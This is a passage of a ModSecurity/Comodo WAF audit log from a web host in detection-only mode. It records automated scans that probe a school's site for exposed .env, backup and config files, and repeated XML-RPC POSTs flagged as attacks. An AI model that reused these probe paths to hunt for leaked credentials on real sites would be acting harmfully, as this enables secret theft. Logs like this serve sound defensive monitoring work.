"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rabbitmq-cluster/.env"] [unique_id "aE91EIkQyF8-ounHsxsGYQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037776312398 668902 (- - -) Stopwatch2: 1750037776312398 668902; combined=2106, p1=400, p2=1611, p3=0, p4=0, p5=95, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8a75ed39-Z-- --2e44d353-A-- [16/Jun/2025:07:06:24.842354 +0530] aE91GIkQyF8-ounHsxsGZAAAAA8 185.177.72.210 48660 127.0.0.1 7081 --2e44d353-B-- GET /settings/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e44d353-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=00b88c5bfedcc4600f975e82ad0442321750037784; expires=Mon, 16 Jun 2025 02:36:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e44d353-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/config.php.bak"] [unique_id "aE91GIkQyF8-ounHsxsGZAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037784190202 652229 (- - -) Stopwatch2: 1750037784190202 652229; combined=2767, p1=529, p2=2140, p3=0, p4=0, p5=97, sr=159, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e44d353-Z-- --15310b37-A-- [16/Jun/2025:07:06:30.114421 +0530] aE91HYkQyF8-ounHsxsGZgAAAA8 128.199.112.101 48864 127.0.0.1 7081 --15310b37-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --15310b37-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --15310b37-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE91HYkQyF8-ounHsxsGZgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037789131694 982784 (- - -) Stopwatch2: 1750037789131694 982784; combined=1998, p1=352, p2=1281, p3=38, p4=51, p5=173, sr=94, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15310b37-Z-- --0ce87551-A-- [16/Jun/2025:07:07:21.563114 +0530] aE91UPbo0R64L12N_alc_wAAAAQ 185.177.72.210 51524 127.0.0.1 7081 --0ce87551-B-- GET /:8888/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ce87551-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5a3bec017ea38951e042214a4cff6301750037841; expires=Mon, 16 Jun 2025 02:37:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ce87551-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/production/.env"] [unique_id "aE91UPbo0R64L12N_alc_wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037840897179 666033 (- - -) Stopwatch2: 1750037840897179 666033; combined=1962, p1=371, p2=1484, p3=0, p4=0, p5=107, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ce87551-Z-- --fc567372-A-- [16/Jun/2025:07:07:30.632854 +0530] aE91WfvF1ly0gx5reNmCfgAAAAE 128.199.112.101 45808 127.0.0.1 7081 --fc567372-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fc567372-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fc567372-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE91WfvF1ly0gx5reNmCfgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037849703920 929002 (- - -) Stopwatch2: 1750037849703920 929002; combined=2139, p1=344, p2=1406, p3=55, p4=64, p5=169, sr=94, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc567372-Z-- --90f72031-A-- [16/Jun/2025:07:07:33.815808 +0530] aE91XYkQyF8-ounHsxsGggAAAA8 185.177.72.210 45982 127.0.0.1 7081 --90f72031-B-- GET /:8443/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90f72031-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d5d9ec9a6540b5c99b2237baf8fdac71750037853; expires=Mon, 16 Jun 2025 02:37:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90f72031-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/configurationtionura/.env"] [unique_id "aE91XYkQyF8-ounHsxsGggAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037853164049 651823 (- - -) Stopwatch2: 1750037853164049 651823; combined=1697, p1=399, p2=1209, p3=0, p4=0, p5=88, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90f72031-Z-- --969b0563-A-- [16/Jun/2025:07:07:34.786362 +0530] aE91Xp16HYQp4eDf7R1dwwAAAAI 185.177.72.210 45998 127.0.0.1 7081 --969b0563-B-- GET /web.Release.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --969b0563-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=97ec5eef70e5074a8b3647941f7cb1ba1750037854; expires=Mon, 16 Jun 2025 02:37:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --969b0563-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".release.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".release.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.Release.config"] [unique_id "aE91Xp16HYQp4eDf7R1dwwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037854133020 653419 (- - -) Stopwatch2: 1750037854133020 653419; combined=1861, p1=335, p2=1427, p3=0, p4=0, p5=98, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --969b0563-Z-- --63ac0c0b-A-- [16/Jun/2025:07:07:36.932130 +0530] aE91YJ16HYQp4eDf7R1dxAAAAAI 185.177.72.210 46086 127.0.0.1 7081 --63ac0c0b-B-- GET /quikstore.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63ac0c0b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5545e607194a3434918413db9dd303b1750037856; expires=Mon, 16 Jun 2025 02:37:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63ac0c0b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/quikstore.cfg"] [unique_id "aE91YJ16HYQp4eDf7R1dxAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037856261972 670237 (- - -) Stopwatch2: 1750037856261972 670237; combined=1881, p1=314, p2=1452, p3=0, p4=0, p5=114, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63ac0c0b-Z-- --3652824a-A-- [16/Jun/2025:07:07:41.948540 +0530] aE91ZboFnONBt7jRcByVbQAAAA4 185.177.72.210 41020 127.0.0.1 7081 --3652824a-B-- GET /:8008/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3652824a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7351e062d24b6ec6b78a4add6cf87a951750037861; expires=Mon, 16 Jun 2025 02:37:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3652824a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/api/.env.staging"] [unique_id "aE91ZboFnONBt7jRcByVbQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037861283437 665191 (- - -) Stopwatch2: 1750037861283437 665191; combined=1923, p1=410, p2=1389, p3=0, p4=0, p5=124, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3652824a-Z-- --05363900-A-- [16/Jun/2025:07:07:47.908608 +0530] aE91azZ3uHeEW3BYvDO67gAAAAA 185.177.72.210 41600 127.0.0.1 7081 --05363900-B-- GET /:8008/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05363900-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5bed652e3cd2d2a52a692ba5e7d1a52c1750037867; expires=Mon, 16 Jun 2025 02:37:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05363900-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/stats/.env"] [unique_id "aE91azZ3uHeEW3BYvDO67gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037867216212 692485 (- - -) Stopwatch2: 1750037867216212 692485; combined=1871, p1=379, p2=1390, p3=0, p4=0, p5=102, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05363900-Z-- --61794d34-A-- [16/Jun/2025:07:07:48.906312 +0530] aE91bPv_9qNKLXJRkuZfDwAAAAs 185.177.72.210 41642 127.0.0.1 7081 --61794d34-B-- GET /environments/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61794d34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3b5d7f3170edc9cd8754cdc6049e549b1750037868; expires=Mon, 16 Jun 2025 02:37:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61794d34-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/environments/local/.env"] [unique_id "aE91bPv_9qNKLXJRkuZfDwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037868230357 676028 (- - -) Stopwatch2: 1750037868230357 676028; combined=1932, p1=379, p2=1456, p3=0, p4=0, p5=96, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61794d34-Z-- --d72d4663-A-- [16/Jun/2025:07:07:52.848913 +0530] aE91cPbo0R64L12N_aldEwAAAAQ 185.177.72.210 32956 127.0.0.1 7081 --d72d4663-B-- GET /legal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d72d4663-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=da20f6bc0fc93b12fe48cf90990b06061750037872; expires=Mon, 16 Jun 2025 02:37:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d72d4663-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/legal/.env"] [unique_id "aE91cPbo0R64L12N_aldEwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037872095953 753021 (- - -) Stopwatch2: 1750037872095953 753021; combined=2213, p1=456, p2=1656, p3=0, p4=0, p5=100, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d72d4663-Z-- --bb3b221b-A-- [16/Jun/2025:07:08:15.639839 +0530] aE91huhCUAahT1nBjTYO-wAAAAM 185.177.72.210 44872 127.0.0.1 7081 --bb3b221b-B-- GET /:10000/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bb3b221b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43ea7da4bf96c5c193190fe178348d631750037895; expires=Mon, 16 Jun 2025 02:38:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bb3b221b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/public/.env"] [unique_id "aE91huhCUAahT1nBjTYO-wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037894983532 656380 (- - -) Stopwatch2: 1750037894983532 656380; combined=2031, p1=400, p2=1524, p3=0, p4=0, p5=106, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bb3b221b-Z-- --802b244b-A-- [16/Jun/2025:07:08:27.020870 +0530] aE91kjZ3uHeEW3BYvDO7AgAAAAA 185.177.72.210 59848 127.0.0.1 7081 --802b244b-B-- GET /:9000/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --802b244b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cba18a1dde1ac96d0cb3e1e89d4be1c41750037906; expires=Mon, 16 Jun 2025 02:38:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --802b244b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/production/.env"] [unique_id "aE91kjZ3uHeEW3BYvDO7AgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037906254174 766761 (- - -) Stopwatch2: 1750037906254174 766761; combined=2111, p1=408, p2=1602, p3=0, p4=0, p5=100, sr=105, sw=1, l=0, gc=0 Producer: 